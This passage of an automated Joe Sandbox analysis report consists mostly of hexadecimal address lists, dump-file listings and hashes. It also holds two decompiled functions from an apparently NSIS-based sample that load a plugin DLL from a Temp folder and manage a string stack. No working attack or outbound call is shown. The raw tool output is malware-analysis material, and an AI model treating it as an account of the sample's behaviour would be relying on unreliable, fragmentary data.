                                      0x00000000
                                      0x0040680d
                                      0x00406810
                                      0x00406812
                                      0x00406813
                                      0x00406816
                                      0x00406818
                                      0x00406819
                                      0x0040681b
                                      0x0040681e
                                      0x00406823
                                      0x00406828
                                      0x00406831
                                      0x00406844
                                      0x00406847
                                      0x00406853
                                      0x0040687b
                                      0x0040687d
                                      0x0040688b
                                      0x0040688b
                                      0x0040688f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040687f
                                      0x0040687f
                                      0x00406882
                                      0x00406883
                                      0x00406883
                                      0x00000000
                                      0x0040687f
                                      0x00406859
                                      0x0040685e
                                      0x0040685e
                                      0x00406867
                                      0x0040686f
                                      0x00406872
                                      0x00000000
                                      0x00406878
                                      0x00406878
                                      0x00000000
                                      0x00406878
                                      0x00000000
                                      0x00406895
                                      0x00406895
                                      0x00406899
                                      0x00407145
                                      0x00000000
                                      0x00407145
                                      0x004068a2
                                      0x004068b2
                                      0x004068b5
                                      0x004068b8
                                      0x004068b8
                                      0x004068b8
                                      0x004068bb
                                      0x004068bf
                                      0x00000000
                                      0x00000000
                                      0x004068c1
                                      0x004068c7
                                      0x004068f1
                                      0x004068f7
                                      0x004068fe
                                      0x00000000
                                      0x004068fe
                                      0x004068cd
                                      0x004068d0
                                      0x004068d5
                                      0x004068d5
                                      0x004068e0
                                      0x004068e8
                                      0x004068eb
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406930
                                      0x00406936
                                      0x00406939
                                      0x00406946
                                      0x0040694e
                                      0x00406fc2
                                      0x00000000
                                      0x00000000
                                      0x00406905
                                      0x00406905
                                      0x00406909
                                      0x00407154
                                      0x00000000
                                      0x00407154
                                      0x00406915
                                      0x00406920
                                      0x00406920
                                      0x00406920
                                      0x00406923
                                      0x00406926
                                      0x00406929
                                      0x0040692e
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406fc5
                                      0x00406fc5
                                      0x00406fcb
                                      0x00406fd1
                                      0x00406fd7
                                      0x00406ff1
                                      0x00406ff4
                                      0x00406ffa
                                      0x00407005
                                      0x00407007
                                      0x00406fd9
                                      0x00406fd9
                                      0x00406fe8
                                      0x00406fec
                                      0x00406fec
                                      0x00407011
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406956
                                      0x00406958
                                      0x0040695b
                                      0x004069cc
                                      0x004069cf
                                      0x004069d2
                                      0x004069d9
                                      0x004069e3
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00406fc2
                                      0x00406fc2
                                      0x0040695d
                                      0x00406961
                                      0x00406964
                                      0x00406966
                                      0x00406969
                                      0x0040696c
                                      0x0040696e
                                      0x00406971
                                      0x00406973
                                      0x00406978
                                      0x0040697b
                                      0x0040697e
                                      0x00406982
                                      0x00406989
                                      0x0040698c
                                      0x00406993
                                      0x00406997
                                      0x0040699f
                                      0x0040699f
                                      0x0040699f
                                      0x00406999
                                      0x00406999
                                      0x00406999
                                      0x0040698e
                                      0x0040698e
                                      0x0040698e
                                      0x004069a3
                                      0x004069a6
                                      0x004069c4
                                      0x004069c6
                                      0x00000000
                                      0x004069a8
                                      0x004069a8
                                      0x004069ab
                                      0x004069ae
                                      0x004069b1
                                      0x004069b3
                                      0x004069b3
                                      0x004069b3
                                      0x004069b6
                                      0x004069b9
                                      0x004069bb
                                      0x004069bc
                                      0x004069bf
                                      0x00000000
                                      0x004069bf
                                      0x00000000
                                      0x00406bf5
                                      0x00406bf9
                                      0x00406c17
                                      0x00406c1a
                                      0x00406c21
                                      0x00406c24
                                      0x00406c27
                                      0x00406c2a
                                      0x00406c2d
                                      0x00406c30
                                      0x00406c32
                                      0x00406c39
                                      0x00406c3a
                                      0x00406c3c
                                      0x00406c3f
                                      0x00406c42
                                      0x00406c45
                                      0x00406c45
                                      0x00406c4a
                                      0x00000000
                                      0x00406c4a
                                      0x00406bfb
                                      0x00406bfe
                                      0x00406c01
                                      0x00406c0b
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00406fc2
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406ca2
                                      0x00406ca6
                                      0x00000000
                                      0x00000000
                                      0x00406cac
                                      0x00406cb0
                                      0x00000000
                                      0x00000000
                                      0x00406cb6
                                      0x00406cb8
                                      0x00406cbc
                                      0x00406cbc
                                      0x00406cbf
                                      0x00406cc3
                                      0x00000000
                                      0x00000000
                                      0x00406d13
                                      0x00406d17
                                      0x00406d1e
                                      0x00406d21
                                      0x00406d24
                                      0x00406d2e
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406d19
                                      0x00000000
                                      0x00000000
                                      0x00406d3a
                                      0x00406d3e
                                      0x00406d45
                                      0x00406d48
                                      0x00406d4b
                                      0x00406d40
                                      0x00406d40
                                      0x00406d40
                                      0x00406d4e
                                      0x00406d51
                                      0x00406d54
                                      0x00406d54
                                      0x00406d57
                                      0x00406d5a
                                      0x00406d5d
                                      0x00406d5d
                                      0x00406d60
                                      0x00406d67
                                      0x00406d6c
                                      0x00000000
                                      0x00000000
                                      0x00406dfa
                                      0x00406dfa
                                      0x00406dfe
                                      0x0040719c
                                      0x00000000
                                      0x0040719c
                                      0x00406e04
                                      0x00406e07
                                      0x00406e0a
                                      0x00406e0e
                                      0x00406e11
                                      0x00406e17
                                      0x00406e19
                                      0x00406e19
                                      0x00406e19
                                      0x00406e1c
                                      0x00406e1f
                                      0x00000000
                                      0x00000000
                                      0x004069ef
                                      0x004069ef
                                      0x004069f3
                                      0x00407160
                                      0x00000000
                                      0x00407160
                                      0x004069f9
                                      0x004069fc
                                      0x004069ff
                                      0x00406a03
                                      0x00406a06
                                      0x00406a0c
                                      0x00406a0e
                                      0x00406a0e
                                      0x00406a0e
                                      0x00406a11
                                      0x00406a14
                                      0x00406a14
                                      0x00406a17
                                      0x00406a1a
                                      0x00000000
                                      0x00000000
                                      0x00406a20
                                      0x00406a26
                                      0x00000000
                                      0x00000000
                                      0x00406a2c
                                      0x00406a2c
                                      0x00406a30
                                      0x00406a33
                                      0x00406a36
                                      0x00406a39
                                      0x00406a3c
                                      0x00406a3d
                                      0x00406a40
                                      0x00406a42
                                      0x00406a48
                                      0x00406a4b
                                      0x00406a4e
                                      0x00406a51
                                      0x00406a54
                                      0x00406a57
                                      0x00406a5a
                                      0x00406a76
                                      0x00406a79
                                      0x00406a7c
                                      0x00406a7f
                                      0x00406a86
                                      0x00406a8a
                                      0x00406a8c
                                      0x00406a90
                                      0x00406a5c
                                      0x00406a5c
                                      0x00406a60
                                      0x00406a68
                                      0x00406a6d
                                      0x00406a6f
                                      0x00406a71
                                      0x00406a71
                                      0x00406a93
                                      0x00406a9a
                                      0x00406a9d
                                      0x00000000
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa8
                                      0x00406aa8
                                      0x00406aac
                                      0x0040716c
                                      0x00000000
                                      0x0040716c
                                      0x00406ab2
                                      0x00406ab5
                                      0x00406ab8
                                      0x00406abc
                                      0x00406abf
                                      0x00406ac5
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406aca
                                      0x00406acd
                                      0x00406acd
                                      0x00406acd
                                      0x00406ad3
                                      0x00000000
                                      0x00000000
                                      0x00406ad5
                                      0x00406ad8
                                      0x00406adb
                                      0x00406ade
                                      0x00406ae1
                                      0x00406ae4
                                      0x00406ae7
                                      0x00406aea
                                      0x00406aed
                                      0x00406af0
                                      0x00406af3
                                      0x00406b0b
                                      0x00406b0e
                                      0x00406b11
                                      0x00406b14
                                      0x00406b14
                                      0x00406b17
                                      0x00406b1b
                                      0x00406b1d
                                      0x00406af5
                                      0x00406af5
                                      0x00406afd
                                      0x00406b02
                                      0x00406b04
                                      0x00406b06
                                      0x00406b06
                                      0x00406b20
                                      0x00406b27
                                      0x00406b2a
                                      0x00000000
                                      0x00406b2c
                                      0x00000000
                                      0x00406b2c
                                      0x00406b2a
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00000000
                                      0x00000000
                                      0x00406b6c
                                      0x00406b6c
                                      0x00406b70
                                      0x00407178
                                      0x00000000
                                      0x00407178
                                      0x00406b76
                                      0x00406b79
                                      0x00406b7c
                                      0x00406b80
                                      0x00406b83
                                      0x00406b89
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8e
                                      0x00406b91
                                      0x00406b91
                                      0x00406b97
                                      0x00406b35
                                      0x00406b35
                                      0x00406b38
                                      0x00000000
                                      0x00406b38
                                      0x00406b99
                                      0x00406b99
                                      0x00406b9c
                                      0x00406b9f
                                      0x00406ba2
                                      0x00406ba5
                                      0x00406ba8
                                      0x00406bab
                                      0x00406bae
                                      0x00406bb1
                                      0x00406bb4
                                      0x00406bb7
                                      0x00406bcf
                                      0x00406bd2
                                      0x00406bd5
                                      0x00406bd8
                                      0x00406bd8
                                      0x00406bdb
                                      0x00406bdf
                                      0x00406be1
                                      0x00406bb9
                                      0x00406bb9
                                      0x00406bc1
                                      0x00406bc6
                                      0x00406bc8
                                      0x00406bca
                                      0x00406bca
                                      0x00406be4
                                      0x00406beb
                                      0x00406bee
                                      0x00000000
                                      0x00406bf0
                                      0x00000000
                                      0x00406bf0
                                      0x00000000
                                      0x00406e7d
                                      0x00406e7d
                                      0x00406e81
                                      0x004071a8
                                      0x00000000
                                      0x004071a8
                                      0x00406e87
                                      0x00406e8a
                                      0x00406e8d
                                      0x00406e91
                                      0x00406e94
                                      0x00406e9a
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9f
                                      0x00000000
                                      0x00000000
                                      0x00406c4d
                                      0x00406c4d
                                      0x00406c50
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00406fc2
                                      0x00000000
                                      0x00406f8c
                                      0x00406f90
                                      0x00406fb2
                                      0x00406fb5
                                      0x00406fbf
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406f92
                                      0x00406f95
                                      0x00406f99
                                      0x00406f9c
                                      0x00406f9c
                                      0x00406f9f
                                      0x00000000
                                      0x00000000
                                      0x00407049
                                      0x0040704d
                                      0x0040706b
                                      0x0040706b
                                      0x0040706b
                                      0x00407072
                                      0x00407079
                                      0x00407080
                                      0x00407080
                                      0x00000000
                                      0x00407080
                                      0x0040704f
                                      0x00407052
                                      0x00407055
                                      0x00407058
                                      0x0040705f
                                      0x00406fa3
                                      0x00406fa3
                                      0x00406fa6
                                      0x00000000
                                      0x00000000
                                      0x0040713a
                                      0x0040713d
                                      0x0040703e
                                      0x00000000
                                      0x00000000
                                      0x00406d74
                                      0x00406d76
                                      0x00406d7d
                                      0x00406d7e
                                      0x00406d80
                                      0x00406d83
                                      0x00000000
                                      0x00000000
                                      0x00406d8b
                                      0x00406d8e
                                      0x00406d91
                                      0x00406d93
                                      0x00406d95
                                      0x00406d95
                                      0x00406d96
                                      0x00406d99
                                      0x00406da0
                                      0x00406da3
                                      0x00406db1
                                      0x00000000
                                      0x00000000
                                      0x00407087
                                      0x00407087
                                      0x0040708a
                                      0x00407091
                                      0x00000000
                                      0x00000000
                                      0x00407096
                                      0x00407096
                                      0x0040709a
                                      0x004071d2
                                      0x00000000
                                      0x004071d2
                                      0x004070a0
                                      0x004070a3
                                      0x004070a6
                                      0x004070aa
                                      0x004070ad
                                      0x004070b3
                                      0x004070b5
                                      0x004070b5
                                      0x004070b5
                                      0x004070b8
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070be
                                      0x004070be
                                      0x004070c2
                                      0x00407122
                                      0x00407125
                                      0x0040712a
                                      0x0040712b
                                      0x0040712d
                                      0x0040712f
                                      0x00407132
                                      0x0040703e
                                      0x0040703e
                                      0x00000000
                                      0x00407044
                                      0x0040703e
                                      0x004070c4
                                      0x004070ca
                                      0x004070cd
                                      0x004070d0
                                      0x004070d3
                                      0x004070d6
                                      0x004070d9
                                      0x004070dc
                                      0x004070df
                                      0x004070e2
                                      0x004070e5
                                      0x004070fe
                                      0x00407101
                                      0x00407104
                                      0x00407107
                                      0x0040710b
                                      0x0040710d
                                      0x0040710d
                                      0x0040710e
                                      0x00407111
                                      0x004070e7
                                      0x004070e7
                                      0x004070ef
                                      0x004070f4
                                      0x004070f6
                                      0x004070f9
                                      0x004070f9
                                      0x00407114
                                      0x0040711b
                                      0x00000000
                                      0x0040711d
                                      0x00000000
                                      0x0040711d
                                      0x00000000
                                      0x00406db9
                                      0x00406dbc
                                      0x00406df2
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f25
                                      0x00406f25
                                      0x00406f28
                                      0x00406f2a
                                      0x004071b4
                                      0x00000000
                                      0x004071b4
                                      0x00406f30
                                      0x00406f33
                                      0x00000000
                                      0x00000000
                                      0x00406f39
                                      0x00406f3d
                                      0x00406f40
                                      0x00406f40
                                      0x00406f40
                                      0x00000000
                                      0x00406f40
                                      0x00406dbe
                                      0x00406dc0
                                      0x00406dc2
                                      0x00406dc4
                                      0x00406dc7
                                      0x00406dc8
                                      0x00406dca
                                      0x00406dcc
                                      0x00406dcf
                                      0x00406dd2
                                      0x00406de8
                                      0x00406ded
                                      0x00406e25
                                      0x00406e25
                                      0x00406e29
                                      0x00406e55
                                      0x00406e57
                                      0x00406e5e
                                      0x00406e61
                                      0x00406e64
                                      0x00406e64
                                      0x00406e69
                                      0x00406e69
                                      0x00406e6b
                                      0x00406e6e
                                      0x00406e75
                                      0x00406e78
                                      0x00406ea5
                                      0x00406ea5
                                      0x00406ea8
                                      0x00406eab
                                      0x00406f1f
                                      0x00406f1f
                                      0x00406f1f
                                      0x00000000
                                      0x00406f1f
                                      0x00406ead
                                      0x00406eb3
                                      0x00406eb6
                                      0x00406eb9
                                      0x00406ebc
                                      0x00406ebf
                                      0x00406ec2
                                      0x00406ec5
                                      0x00406ec8
                                      0x00406ecb
                                      0x00406ece
                                      0x00406ee7
                                      0x00406ee9
                                      0x00406eec
                                      0x00406eed
                                      0x00406ef0
                                      0x00406ef2
                                      0x00406ef5
                                      0x00406ef7
                                      0x00406ef9
                                      0x00406efc
                                      0x00406efe
                                      0x00406f01
                                      0x00406f05
                                      0x00406f07
                                      0x00406f07
                                      0x00406f08
                                      0x00406f0b
                                      0x00406f0e
                                      0x00406ed0
                                      0x00406ed0
                                      0x00406ed8
                                      0x00406edd
                                      0x00406edf
                                      0x00406ee2
                                      0x00406ee2
                                      0x00406f11
                                      0x00406f18
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00000000
                                      0x00406f1a
                                      0x00000000
                                      0x00406f1a
                                      0x00406f18
                                      0x00406e2b
                                      0x00406e2e
                                      0x00406e30
                                      0x00406e33
                                      0x00406e36
                                      0x00406e39
                                      0x00406e3b
                                      0x00406e3e
                                      0x00406e41
                                      0x00406e41
                                      0x00406e44
                                      0x00406e44
                                      0x00406e47
                                      0x00406e4e
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00000000
                                      0x00406e50
                                      0x00000000
                                      0x00406e50
                                      0x00406e4e
                                      0x00406dd4
                                      0x00406dd7
                                      0x00406dd9
                                      0x00406ddc
                                      0x00000000
                                      0x00000000
                                      0x00406b3b
                                      0x00406b3b
                                      0x00406b3f
                                      0x00407184
                                      0x00000000
                                      0x00407184
                                      0x00406b45
                                      0x00406b48
                                      0x00406b4b
                                      0x00406b4e
                                      0x00406b51
                                      0x00406b54
                                      0x00406b57
                                      0x00406b59
                                      0x00406b5c
                                      0x00406b5f
                                      0x00406b62
                                      0x00406b64
                                      0x00406b64
                                      0x00406b64
                                      0x00000000
                                      0x00000000
                                      0x00406cc6
                                      0x00406cc6
                                      0x00406cca
                                      0x00407190
                                      0x00000000
                                      0x00407190
                                      0x00406cd0
                                      0x00406cd3
                                      0x00406cd6
                                      0x00406cd9
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cde
                                      0x00406ce1
                                      0x00406ce4
                                      0x00406ce7
                                      0x00406cea
                                      0x00406ced
                                      0x00406cee
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf3
                                      0x00406cf6
                                      0x00406cf9
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cff
                                      0x00406d01
                                      0x00406d01
                                      0x00000000
                                      0x00000000
                                      0x00406f43
                                      0x00406f43
                                      0x00406f43
                                      0x00406f47
                                      0x00000000
                                      0x00000000
                                      0x00406f4d
                                      0x00406f50
                                      0x00406f53
                                      0x00406f56
                                      0x00406f58
                                      0x00406f58
                                      0x00406f58
                                      0x00406f5b
                                      0x00406f5e
                                      0x00406f61
                                      0x00406f64
                                      0x00406f67
                                      0x00406f6a
                                      0x00406f6b
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f70
                                      0x00406f73
                                      0x00406f76
                                      0x00406f79
                                      0x00406f7c
                                      0x00406f80
                                      0x00406f82
                                      0x00406f85
                                      0x00000000
                                      0x00406f87
                                      0x00406d04
                                      0x00406d04
                                      0x00000000
                                      0x00406d04
                                      0x00406f85
                                      0x004071ba
                                      0x00000000
                                      0x00000000
                                      0x004067e9
                                      0x004071f1
                                      0x004071f1
                                      0x00000000
                                      0x004071f1
                                      0x0040703e
                                      0x00406fc5
                                      0x00406fc2

                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 64597932ebf2bb6f2d249f60c1a052c2706a55a0ac38294ae6599684583fce52
                                      • Instruction ID: 7d50f74d422c9426a2654202d950de31cd619cd826110beab4429d7d99e33e8a
                                      • Opcode Fuzzy Hash: 64597932ebf2bb6f2d249f60c1a052c2706a55a0ac38294ae6599684583fce52
                                      • Instruction Fuzzy Hash: F9715671E04229DBDF28CF98C9447ADBBB1FF44305F11806AD856BB281C7389986DF44
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 60%
                                      			E0040202C(void* __ebx, void* __eflags) {
                                      				struct HINSTANCE__* _t23;
                                      				struct HINSTANCE__* _t31;
                                      				void* _t32;
                                      				void* _t34;
                                      				WCHAR* _t37;
                                      				intOrPtr* _t38;
                                      				void* _t39;
                                      
                                      				_t32 = __ebx;
                                      				asm("sbb eax, 0x42a2d8");
                                      				 *(_t39 - 4) = 1;
                                      				if(__eflags < 0) {
                                      					_push(0xffffffe7);
                                      					L15:
                                      					E00401423();
                                      					L16:
                                      					 *0x42a2a8 =  *0x42a2a8 +  *(_t39 - 4);
                                      					return 0;
                                      				}
                                      				_t37 = E00402C37(0xfffffff0);
                                      				 *((intOrPtr*)(_t39 - 0x3c)) = E00402C37(1);
                                      				if( *((intOrPtr*)(_t39 - 0x18)) == __ebx) {
                                      					L3:
                                      					_t23 = LoadLibraryExW(_t37, _t32, 8); // executed
                                      					 *(_t39 + 8) = _t23;
                                      					if(_t23 == _t32) {
                                      						_push(0xfffffff6);
                                      						goto L15;
                                      					}
                                      					L4:
                                      					_t38 = E00406695( *(_t39 + 8),  *((intOrPtr*)(_t39 - 0x3c)));
                                      					if(_t38 == _t32) {
                                      						E004052B0(0xfffffff7,  *((intOrPtr*)(_t39 - 0x3c)));
                                      					} else {
                                      						 *(_t39 - 4) = _t32;
                                      						if( *((intOrPtr*)(_t39 - 0x20)) == _t32) {
                                      							 *_t38( *((intOrPtr*)(_t39 - 8)), 0x400, _t34, 0x40cdac, 0x40a000); // executed
                                      						} else {
                                      							E00401423( *((intOrPtr*)(_t39 - 0x20)));
                                      							if( *_t38() != 0) {
                                      								 *(_t39 - 4) = 1;
                                      							}
                                      						}
                                      					}
                                      					if( *((intOrPtr*)(_t39 - 0x1c)) == _t32 && E004038FA( *(_t39 + 8)) != 0) {
                                      						FreeLibrary( *(_t39 + 8));
                                      					}
                                      					goto L16;
                                      				}
                                      				_t31 = GetModuleHandleW(_t37); // executed
                                      				 *(_t39 + 8) = _t31;
                                      				if(_t31 != __ebx) {
                                      					goto L4;
                                      				}
                                      				goto L3;
                                      			}










                                      0x0040202c
                                      0x0040202c
                                      0x00402031
                                      0x00402038
                                      0x004020f7
                                      0x00402245
                                      0x00402245
                                      0x00402abf
                                      0x00402ac2
                                      0x00402ace
                                      0x00402ace
                                      0x00402047
                                      0x00402051
                                      0x00402054
                                      0x00402064
                                      0x00402068
                                      0x00402070
                                      0x00402073
                                      0x004020f0
                                      0x00000000
                                      0x004020f0
                                      0x00402075
                                      0x00402080
                                      0x00402084
                                      0x004020c4
                                      0x00402086
                                      0x00402089
                                      0x0040208c
                                      0x004020b8
                                      0x0040208e
                                      0x00402091
                                      0x0040209a
                                      0x0040209c
                                      0x0040209c
                                      0x0040209a
                                      0x0040208c
                                      0x004020cc
                                      0x004020e5
                                      0x004020e5
                                      0x00000000
                                      0x004020cc
                                      0x00402057
                                      0x0040205f
                                      0x00402062
                                      0x00000000
                                      0x00000000
                                      0x00000000

                                      APIs
                                      • GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402057
                                        • Part of subcall function 004052B0: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00000000,00410EA0,00403094,?,?,?,?,?,?,?,?,?,00403233,00000000,?), ref: 004052E8
                                        • Part of subcall function 004052B0: lstrlenW.KERNEL32(00403233,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00000000,00410EA0,00403094,?,?,?,?,?,?,?,?,?,00403233,00000000), ref: 004052F8
                                        • Part of subcall function 004052B0: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00403233), ref: 0040530B
                                        • Part of subcall function 004052B0: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll), ref: 0040531D
                                        • Part of subcall function 004052B0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405343
                                        • Part of subcall function 004052B0: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040535D
                                        • Part of subcall function 004052B0: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040536B
                                      • LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402068
                                      • FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020E5
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
                                      • String ID:
                                      • API String ID: 334405425-0
                                      • Opcode ID: e3961a0bc32dc20507236d74e46fa7042790e53cd6742115274889cdc0d07f9d
                                      • Instruction ID: 1b7e6cc8a89e608973352e39bc6088f07de5daa2050f71ccd5864d961518f39c
                                      • Opcode Fuzzy Hash: e3961a0bc32dc20507236d74e46fa7042790e53cd6742115274889cdc0d07f9d
                                      • Instruction Fuzzy Hash: 0321B331900218EBCF216FA5CE4DAAE7A70AF04354F60413BF511B51E1DBBD4951DA6E
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 59%
                                      			E00401B71(void* __ebx) {
                                      				intOrPtr _t8;
                                      				void* _t9;
                                      				void _t12;
                                      				void* _t14;
                                      				void* _t22;
                                      				void* _t25;
                                      				void* _t30;
                                      				void* _t33;
                                      				void* _t34;
                                      				char* _t36;
                                      				void* _t37;
                                      
                                      				_t28 = __ebx;
                                      				_t8 =  *((intOrPtr*)(_t37 - 0x20));
                                      				_t30 =  *0x40cdac; // 0x0
                                      				if(_t8 == __ebx) {
                                      					if( *((intOrPtr*)(_t37 - 0x24)) == __ebx) {
                                      						_t9 = GlobalAlloc(0x40, 0x804); // executed
                                      						_t34 = _t9;
                                      						_t5 = _t34 + 4; // 0x4
                                      						E0040626E(__ebx, _t30, _t34, _t5,  *((intOrPtr*)(_t37 - 0x28)));
                                      						_t12 =  *0x40cdac; // 0x0
                                      						 *_t34 = _t12;
                                      						 *0x40cdac = _t34;
                                      					} else {
                                      						if(_t30 == __ebx) {
                                      							 *((intOrPtr*)(_t37 - 4)) = 1;
                                      						} else {
                                      							_t3 = _t30 + 4; // 0x4
                                      							E0040624C(_t33, _t3);
                                      							_push(_t30);
                                      							 *0x40cdac =  *_t30;
                                      							GlobalFree();
                                      						}
                                      					}
                                      					goto L15;
                                      				} else {
                                      					while(1) {
                                      						_t8 = _t8 - 1;
                                      						if(_t30 == _t28) {
                                      							break;
                                      						}
                                      						_t30 =  *_t30;
                                      						if(_t8 != _t28) {
                                      							continue;
                                      						} else {
                                      							if(_t30 == _t28) {
                                      								break;
                                      							} else {
                                      								_t32 = _t30 + 4;
                                      								_t36 = L"Call";
                                      								E0040624C(_t36, _t30 + 4);
                                      								_t22 =  *0x40cdac; // 0x0
                                      								E0040624C(_t32, _t22 + 4);
                                      								_t25 =  *0x40cdac; // 0x0
                                      								_push(_t36);
                                      								_push(_t25 + 4);
                                      								E0040624C();
                                      								L15:
                                      								 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t37 - 4));
                                      								_t14 = 0;
                                      							}
                                      						}
                                      						goto L17;
                                      					}
                                      					_push(0x200010);
                                      					_push(E0040626E(_t28, _t30, _t33, _t28, 0xffffffe8));
                                      					E004058AE();
                                      					_t14 = 0x7fffffff;
                                      				}
                                      				L17:
                                      				return _t14;
                                      			}














                                      0x00401b71
                                      0x00401b71
                                      0x00401b74
                                      0x00401b7c
                                      0x00401bc5
                                      0x00401bf3
                                      0x00401bfc
                                      0x00401bfe
                                      0x00401c02
                                      0x00401c07
                                      0x00401c0c
                                      0x00401c0e
                                      0x00401bc7
                                      0x00401bc9
                                      0x00402885
                                      0x00401bcf
                                      0x00401bcf
                                      0x00401bd4
                                      0x00401bdb
                                      0x00401bdc
                                      0x00401be1
                                      0x00401be1
                                      0x00401bc9
                                      0x00000000
                                      0x00401b7e
                                      0x00401b7e
                                      0x00401b7e
                                      0x00401b81
                                      0x00000000
                                      0x00000000
                                      0x00401b87
                                      0x00401b8b
                                      0x00000000
                                      0x00401b8d
                                      0x00401b8f
                                      0x00000000
                                      0x00401b95
